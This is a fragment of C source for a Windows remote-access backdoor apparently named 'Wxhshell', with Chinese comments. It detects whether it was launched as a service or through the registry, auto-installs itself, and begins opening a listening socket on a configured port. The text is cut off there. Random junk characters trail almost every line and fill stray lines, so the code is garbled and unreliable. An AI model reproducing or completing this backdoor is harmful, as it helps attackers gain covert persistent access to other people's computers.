DWORD PebBaseAddress; lhtZaU~V
DWORD AffinityMask; c wOJy>
DWORD BasePriority; $*kxTiG!7
ULONG UniqueProcessId; 6<$Odd
ULONG InheritedFromUniqueProcessId; ND5`Q"k
} PROCESS_BASIC_INFORMATION; c7M%xGrP
_z54Ycr4H
PROCNTQSIP NtQueryInformationProcess; C#H:-Q&
i| ZceX/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mWyqG*-Hb
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #vzEu
)Ul
!YP@m~
HANDLE hProcess; &m[Qn!>i6
PROCESS_BASIC_INFORMATION pbi; 5*0y7K/D
XEdzpkB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #rY sj-2
if(NULL == hInst ) return 0; &`fhEN
{&"L~>/o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (I@rLvZr{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bO&7-Z~:=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uaOKv.%
on8WQf'A#
if (!NtQueryInformationProcess) return 0; y2+p1
^mb[j`CCt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^1wA:?uN}
if(!hProcess) return 0; [Tnsr(Z
Y2O"]phi@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jZ%TJ0(H
e#B#B
CloseHandle(hProcess); NNF>Xa`9,
M{$j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )LdyC`S\c
if(hProcess==NULL) return 0; .-JCwnP
Q//,4>JKf
HMODULE hMod; &<+ A((/i
char procName[255]; 3mSXWl^?
unsigned long cbNeeded; &EM\CjKv"
(D
9Su^:1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @rHK(25+d
YhRWz=l
CloseHandle(hProcess); /5#rADOS
<HRBMSR+
if(strstr(procName,"services")) return 1; // 以服务启动 FVKW9"AyW
8&Myva
return 0; // 注册表启动 &bhq`>
} h1(j2S`:
uK'&Dam
// 主模块 !gLkJ)
int StartWxhshell(LPSTR lpCmdLine) LPwT^zV&N
{ {>"NyY
SOCKET wsl; n 3lE,b
BOOL val=TRUE; ?X-)J=XG
int port=0; kvh&d|
struct sockaddr_in door; .c#y%S
rS0DSGDq
if(wscfg.ws_autoins) Install(); X{^}\,cVtG
siTX_`0
port=atoi(lpCmdLine); c,Euv>*`
vm'5s]kdh
if(port<=0) port=wscfg.ws_port; @ w>zF/
WsFk:h'r
WSADATA data; tV9LD>3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ](B@5-^
$O{duJU
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s!9dQ.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kqb0>rYa
door.sin_family = AF_INET; O8]'o*<]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); OgcHS?
door.sin_port = htons(port); !6G?zipB
j&